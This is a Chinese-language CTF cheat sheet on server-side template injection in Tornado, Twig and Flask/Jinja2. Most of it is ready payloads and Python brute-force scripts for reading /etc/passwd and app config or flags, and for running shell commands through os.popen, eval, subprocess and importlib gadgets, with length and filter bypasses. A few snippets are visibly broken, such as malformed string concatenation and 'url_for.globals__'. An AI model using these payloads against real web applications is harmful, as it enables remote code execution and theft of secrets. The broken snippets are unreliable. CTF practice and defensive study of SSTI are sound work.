常见SSTI

区别PHP和python模板注入

若输入49
返回 49 -> Twig
返回 7777777-> Jinja2


SSTI in Tornado

在tornado模板中,可以通过handler.settings访问到环境配置的信息

通过模板注入方式我们可以构造获取cookie_secret

1
{{handler.settings}}

例题([护网杯 2018]easy_tornado 1):

本题关键点在找到cookie_secret 利用模板注入即可


SSTI in Twig

payload:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

SSTI in Flask

渲染方法:
渲染字符串

1
2
aaa = '<h1>aaa</h1>'
return render_template_string(aaa)

渲染指定文件

1
return render_template('index.html')

原理

不正确的使用flask的render_template_string方法

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask,render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
code = request.args.get('id')
html = '''<h3>%s</h3>'''%code
return render_template_string(html)

if __name__ == '__main__':
app.run(debug=True,port=5000)

思路:
找到父类<type 'object'> —> 找子类 —> 找关于命令执行或者文件操作的模块


基础

1
2
3
4
{{config}}可以获取当前设置
{{self}}
{{self.__global__}}会在模板中显示当前对象 self 的所有实例属性及其值,输出的是一个字典,包含了对象的所有实例变量及其对应的值。
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config

基于类的模板注入

常用魔术方法

__class__

1
''.__class__   

<class ‘str’>

__bases__

查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,返回所有直接父类组成的元组
因为元组内只有一个元素,所有返回[0]是第一个元素

1
"".__class__.__bases__     

<class ‘object’,>

1
"".__class__.__bases__[0]   

<class ‘object’>

直接获取基类

1
"".__class__.__base__   

<class ‘object’>

__mro__

获取一个类的调用顺序

1
"".__class__.__mro__   

<class ‘str’>,<class ‘object’>

__subclasses__

获取一个类的所有子类

1
2
"".__class__.__subclasses__()   
> [<enum 'StrEnum'>]

查看当前类的子类组成的列表,即返回基类Object的所有子类

1
2
"".__class__.__bases__[0].__subclasses__()
"".__class__.__base__.__subclasses__()
1
object.__subclasses__()
1
"".__class__.__mro__[-1].__subclasses__()

__builtins__

方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。

__globals__

该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

__import__()

该方法用于动态加载类和函数。
如果一个模块经常变化就可以使用 __import__() 来动态载入,就是 import。
语法:__import__(模块名)


利用SSTI读取文件

python2

利用__subclasses__查子类时,索引号40指向file类
读取文件:

1
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

python3

利用<class '_frozen_importlib_external.FileLoader'> 读取
写脚本遍历查找索引号

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'
}

for i in range(500):
url = "http://xxxx/?name={{''.__class__.__base__.__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if "FileLoader" in res.text:
print(i)

得到编号后payload

1
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0 , "/etc/passwd")}}

利用SSTI执行命令

寻找内建函数eval执行命令

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'
}

for i in range(500):
url = "http://xxx/?name={{''.__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if "eval" in res.text:
print(i)

得到编号后payload

1
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

1
2
3
4
5
6
7
8
9
含eval的类:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

寻找内建函数os执行命令

os模块中有system和popen可以执行
system配合curl

1
2
3
4
5
6
7
8
9
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'
}
for i in range(500):
url = "URL_ADDRESS/?name={{''.__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if "os.py" in res.text:
print(i)

得到编号后payload

1
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

寻找内建函数popen执行命令

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'
}

for i in range(500):
url = "http://xxx/?name={{''.__class__.__base__.__subclasses__()[+"str(i)"+]/__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if "popen" in res.text:
print(i)

payload:

1
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

寻找 importlib 类执行命令

<class ‘frozenm_importlib.BuiltinImporter’> 提供__import_
利用load_module将os模块导入

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)

payload:

1
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

寻找linecache函数执行命令

linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)

payload:

1
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
1
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}

寻找 subprocess.Popen 类执行命令

存在os.system、os.popen 等函数

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

res = requests.get(url=url, headers=headers)
if 'linecache' in res.text:
print(i)

payload:

1
2
3
{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

{{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}

基于函数的模板注入

{{config}} -> Flask中的全局变量


获取配置信息

config

若题目中有类似app.config['FLAG']=os.environ.pop('FLAG')
可以直接访问{{config['FLAG']}}或者{{config.FLAG}}来获取flag

request

查询配置信息

1
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

构造payload

1
2
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}  
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}

url_for

1
2
{{url_for.globals__.os.popen('whoami').read()}}
{{lipsum.globals__.os.popen('whoami').read()}}

查询配置信息
config被过滤之后也可以用,因为这里的config不用做变量,是current_app的属性

1
{{url_for.__globals__['current_app'].config}}

构造payload

1
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

get_flashed_messages

查询配置信息

1
{{get_flashed_messages.__globals__['current_app'].config}}

构造payload

1
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

特殊姿势 与查配置信息差不多

1
2
3
4
5
6
7
8
9
{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

有长度限制 set + update绕过

1
2
3
4
5
6
{% set a = [].__class__ %}
{% set b = a.__base__ %}
{% set c = b.__subclasses__() %}
{% set d = c[59] %}
{% set e = d.__init__.__globals__['os'] %}
{{ e.popen('cat f*').read() }}

过滤

过滤了.

|attr("")来绕过


参考

[护网杯 2018]easy_tornado 1(两种解法!)